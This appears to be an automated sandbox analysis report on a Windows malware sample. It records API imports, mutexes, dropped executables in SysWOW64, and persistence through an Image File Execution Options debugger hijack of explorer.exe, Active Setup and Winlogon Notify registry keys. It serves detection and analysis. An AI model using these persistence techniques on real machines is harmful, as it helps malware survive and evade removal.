Code function: 0_2_00403A19 EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,FindCloseChangeNotification,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,FindCloseChangeNotification,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHan

0_2_00403A19

Source: C:\Windows\SysWOW64\oumkovet.exe

File created: C:\Users\user\AppData\Roaming\tmp1241.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0A
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0B
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0C
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0D
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0E
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0F
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\{9703941E-446E-952F-954A-3DA8A91ED84F}
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\{10F5781A-0D97-0F99-EF77-BA382916E579}
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-10
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-11
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-01
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-12
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-02
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-13
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-03
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-04
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-05
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-06
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-07
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-08
Source: C:\Windows\SysWOW64\oumkovet.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-09

Source: f3VrANv7Uw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

File read: C:\Users\user\Desktop\f3VrANv7Uw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\f3VrANv7Uw.exe "C:\Users\user\Desktop\f3VrANv7Uw.exe"
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Process created: C:\Windows\SysWOW64\oumkovet.exe "C:\Windows\system32\oumkovet.exe"
Source: C:\Windows\SysWOW64\oumkovet.exe	Process created: C:\Windows\SysWOW64\oumkovet.exe
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Process created: C:\Windows\SysWOW64\oumkovet.exe "C:\Windows\system32\oumkovet.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Process created: C:\Windows\SysWOW64\oumkovet.exe	Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Section loaded: .dll	Jump to behavior
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Section loaded: .dll	Jump to behavior

Source: C:\Windows\SysWOW64\oumkovet.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Data Obfuscation

Contains functionality to check for running processes (XOR)

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,FindCloseChangeNotification,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,FindCloseChangeNotification,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPa		0_2_00403A19
Source: C:\Windows\SysWOW64\oumkovet.exe	Code function: EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,OpenProcess,CloseHandle,FindCloseChangeNotification,Process32Next,WaitForSingleObject,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileA,SetFilePointer,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,ExitProcess,CloseHandle,RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,lstrcpyA,lstrcatA,ExpandEnvironmentStringsA,CreateFileA,SetFilePointer,WriteFile,CloseHandle,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegDeleteValueA,lstrlenA,RegSetValueExA,RegCloseKey,GetComputerNameA,lstrcpyA,lstrcpyA,lstrcatA,lstrlenA,wsprintfA,lstrcpyA,lstrcatA,RegCreateKeyA,GetSystemDirectoryA,lstrcatA,lstrcatA,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlenA,lstrcpyA,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlenA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpyA,lstrcpyA,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcatA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,ExpandEnvironmentStringsA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,GetTempPathA,lstrcatA,SetFileAttributesA,CreateFileA,WriteFile,CloseHandle,CreateFileA,RegOpenKeyExA,RegOpenKeyExA,lstrlenA,RegSetVa		2_2_00403A19

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

0_2_00403A19

Source: adfabic.exe.1.dr	Static PE information: real checksum: 0xf2c3 should be: 0x1be98
Source: f3VrANv7Uw.exe	Static PE information: real checksum: 0x18972 should be: 0x19a88
Source: ugpeatar.exe.1.dr	Static PE information: real checksum: 0xc037 should be: 0x1ca94
Source: oumkovet.exe.0.dr	Static PE information: real checksum: 0x18972 should be: 0x19a88

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\oumkovet.exe

Executable created and started: C:\Windows\SysWOW64\oumkovet.exe

Jump to behavior

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	File created: C:\Windows\SysWOW64\oumkovet.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Users\user\AppData\Roaming\tledoh-ogeab.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\adfabic.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\ugpeatar.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\orcemoof.dll	Jump to dropped file

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe	File created: C:\Windows\SysWOW64\oumkovet.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\adfabic.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\ugpeatar.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\oumkovet.exe	File created: C:\Windows\SysWOW64\orcemoof.dll	Jump to dropped file

Boot Survival

Creates a Image File Execution Options (IFEO) Debugger entry

Source: C:\Windows\SysWOW64\oumkovet.exe

Registry value created: C:\Windows\system32\adfabic.exe

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323434-3036-3132-3434-303631323434} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323434-3036-3132-3434-303631323434} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323434-3036-3132-3434-303631323434} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323434-3036-3132-3434-303631323434} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323434-3036-3132-3434-303631323434} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323434-3036-3132-3434-303631323434} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\oumkovet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
